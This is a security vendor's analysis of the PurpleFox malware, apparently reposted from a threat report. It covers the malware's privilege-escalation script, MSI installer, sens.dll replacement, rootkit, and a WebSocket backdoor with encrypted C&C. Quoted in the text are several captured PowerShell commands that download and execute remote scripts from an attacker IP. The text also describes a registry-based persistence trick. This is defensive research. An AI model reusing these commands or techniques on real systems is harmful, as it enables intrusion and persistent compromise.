PurpleFox Adds New Backdoor That Uses WebSockets

The fetched payload is a long script consisting of three components:

1. Tater (Hot Potato – privilege escalation)
2. PowerSploit
3. Embedded exploit bundle binary (privilege escalation)

The script targets 64-bit architecture systems. It starts by checking the Windows version and applied hotfixes for the vulnerabilities it is targeting.

• Windows 7/Windows Server 2008
  • CVE-2020-1054 (KB4556836, KB4556843)
  • CVE-2019-0808 (KB4489878, KB4489885, KB2882822)
• Windows 8/Windows Server 2012
  • CVE-2019-1458 (KB4530702, KB4530730)
• Windows 10/Windows Server 2019
  • CVE-2021-1732 (KB4601354, KB4601345, KB4601315, KB4601319)

After selecting the appropriate vulnerability, it uses the PowerSploit module to reflectively load the embedded exploit bundle binary with the target vulnerability and an MSI command as arguments. As a failover, it uses the Tater module to launch the MSI command.

The goal is to install the MSI package as an admin without any user interaction.

MSI Package

The MSI package starts by removing the following registry keys, which are old Purple Fox installations if any are present:

• HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}

It then installs the components (dbcode21mk.log and setupact64.log) of the Purple Fox backdoor to Windows directory. Afterward, it sets two registry values under the key “HKLM\SYSTEM\CurrentControlSet\Control\Session Manager”:

• AllowProtectedRenames to 0x1, and
• PendingFileRenameOperations to the following:

\??\C:\Windows\AppPatch\Acpsens.dll

\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll

\??\C:\Windows\setupact64.log
\??\C:\Windows\system32\sens.dll

These commands move sens.dll to C:\Windows\AppPatch\Acpsens.dll and replace it with the installed file setupact64.log.

The MSI package then runs a .vbs script that creates a Windows firewall rule to block incoming connections on ports 135, 139, and 445. As a final step, the system is restarted to allow PendingFileRenameOperations to take place, replacing sens.dll, which will make the malware run as the System Event Notification Service (SENS).

PurpleFox Backdoor

The installed malware is a .dll file protected with VMProtect. Using the other data file installed by the MSI package, it unpacks and manually loads different DLLs for its functionality. It also has a rootkit driver that is also unpacked from the data file and is used to hide its files, registry keys, and processes. The sample starts by copying itself to another file and installing a new service, then restoring the original sens.dll file. Afterward,  it loads the driver to hide its files and registries and then spawns and injects a sequence of a 32-bit process to inject its code modules into, as they are 32-bit DLLs.

WebSocket Backdoor

Initial Delivery

The initial activity for retrieving this backdoor was captured three days after the previous PurpleFox intrusion attempts on the same compromised server. The Trend Micro Vision One™ platform flagged the following suspicious PowerShell commands:

• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/1’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/2’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/3’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/4’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/5’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/8’))”
• “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/9’))”

We analyzed the payload hosted on the URLs, which were variations of 185[.]112.144.245/a/[1-9], and all were found to be serving two variants of another PowerShell script that acts as the main downloader for the .NET backdoor.

The difference between the two observed PowerShell scripts were in Base64-encoded data that was passed as an argument to the .NET sample downloaded from 185[.]112[.]144[.]45/a/data and finally invoked with this configuration parameter. We found two different configuration parameters used: We observed the first one on August 26 and the second one with more domains embedded on August 30. The decoded Base64-encoded configuration parameters are shown in the following figures:

These configuration parameters will be used by the .NET initialization routines to pick a C&C server and initialize cryptographic functions for the C&C channel. Aside from the configuration, the payload itself is retrieved from 185.112.144[.]45/a/data. We also found some old variants that date back to June 22 that have fewer capabilities than the more recent variants.

During the earliest iterations for deploying this backdoor, aligning with the creation data of the malicious domain advb9fyxlf2v[.]com, the configuration parameters had a minimal number of subdomains to contact the C&C servers compared to the recent one.

.NET Backdoor Obfuscation

Let us start the analysis with the backdoor dropped on the SQL server. When decompiled,  it will output some obfuscated symbols, although most of these can’t be restored to the original. Merely making them to be human-readable is sufficient for basic static analysis. Sometimes, some of the original names can be restored.

One notable characteristic we rarely see in malware is leveraging WebSocket communication to the C&C servers for an efficient bidirectional channel between the infected client and the server.

WebSocket is a communication technology that supports streams of data to be exchanged between a client and a server over just a single TCP session. This is different from traditional request or response protocols like HTTP. This gives the threat actor a more covert alternative to HTTP requests and responses traffic, which creates an opportunity for a more silent exfiltration with less likelihood of being detected.

It initializes a WebSocket communication with its C&C server and keeps it open by sending keepalive messages to maintain the TCP connection. Once this is established, a series of bidirectional messages will be exchanged between the infected machine and the selected C&C server to negotiate a session encryption key.

The execution starts by initializing the WebSocket and registering four callback functions as handlers for the WebSocket events.

One of the relevant callbacks is onOpen, which will initialize the C&C channel encryption parameters once the WebSocket object is fired for the first time. As shown in the next section, this is mainly for implementing the first Diffie-Hellman (DH) key exchange message with the C&C server. On the other side, the onReceive handler will process and dispatch all the commands received from the server after a secure communication channel is established and when the session encryption key is updated.

Key Negotiations

The first key exchange with the C&C server is carried out by the onOpen callback registered function, as seen in Figure 11.

It initializes the EC DH object with some parameters to start the shared secret key negotiation. The  ECDiffieHellmanKeyDerivationFunction property is then set to Hash. This property is for specifying the key derivation function that the ECDiffieHellmanCng class will use to convert secret agreements into key material, so a hash algorithm is used to generate key material (instead of HMAC or TLS).

Afterward, the client will try to send the property PublicKey, which will be used at the C&C side on another ECDiffieHellmanCng object to generate a shared secret agreement. Eventually, this data will be sent on the WebSocket as the first key exchange message. However, instead of sending it in cleartext, the client deploys a symmetric AES encryption for any communication over the WebSocket for the first exchange, as no shared secret is established yet, and the AES encryption will generate a default key for this first exchange. 

This will result in the key negotiation message being encrypted with AES using the shown parameters and a dummy key generated (111….11)[32] named byte_0 in the following debugging session with the actual AES cipher text with a fixed length of 176 bytes. 

The 176 encrypted bytes are the actual data that will be sent over the WebSocket, which marks the end of the first key exchange message.

Second Exchange (C&C to Victim)

The second key exchange message is sent from the server to the client that will be handled by the onReceive function. The execution is invoked by the message handler. 

This AES-encrypted second exchange has a fixed length of 304 bytes.

It then checks if this incoming message is related to the control plane key establishment or just a normal data command.

If it is related to the former, the first step is to decrypt the symmetric encryption on the C2 channel then finalize the shared secret generation by handing the execution to ECDH derivation function method_7.

The client will verify the signed message by loading the RSA public key loaded from the configuration payload shown in the previous section. If the signature is verified correctly, key material will be derived from the DH exchange and will be saved as the permanent symmetric AES encryption key (Symmetric_AES_key variable) that will be used as long as the WebSocket channel is active.

Third Exchange (Victim to C&C)

Once an efficient encrypted session is established over the WebSocket, the client will fingerprint the machine by extracting specific data (including the username, machine name, local IP, MAC address, and Windows version) and will relay such data over the secure channel to get the victim profiled at the server side, which is the final exchange before the WebSocket channel is fully established. It will then listen for further commands, which will be covered in the next section.

As the fingerprinting data collected will be different from one execution environment to another, this message will vary in length. From our lab analysis, it was 240 bytes with the newly generated shared secret key.

As far as the WebSocket is maintained with the keepalive messages shown earlier, the operators can signal any command to be executed, so what happens next mainly depends on the targeting and the actual motivation of the operator.

WebSocket Commands

In this section, we cover some of the observed commands sent from the server. There are some minor differences between variants across them with regard to the command numbers and the supported functionality.

All the handling of commands is implemented in the main dispatch routine (except for command 160, which is used for key negotiation or renegotiation).

WebSocket C&C Infrastructure

At the time of this writing, there were several active C&C servers controlling the WebSocket clients. By profiling the infected targets and interacting through different commands sent, we listed the observed IP addresses and the registered domains found in the PowerShell downloaders and the backdoor configuration parameters.

The backdoor picks one subdomain randomly from the configuration data and tries to connect via WebSockets. If it fails to connect on port 12345, it will try to resolve another subdomain.

The main domain advb9fyxlf2v[.]com used by these servers — registered on June 17, 2021, just within days of the first observed variant — is mainly for load balancing across the multiple active servers.

Conclusion

The rootkit capabilities of PurpleFox make it more capable of carrying out its objectives in a stealthier manner.  They allow PurpleFox to persist on affected systems as well as deliver further payloads to affected systems. We are still monitoring these new variants and their dropped payloads. The new .NET WebSocket backdoor (called FoxSocket, which we detect as Backdoor.MSIL.PURPLEFOX.AA) is being closely monitored to discover any more information about this threat actor’s intentions and objectives.

To read the original article:

https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html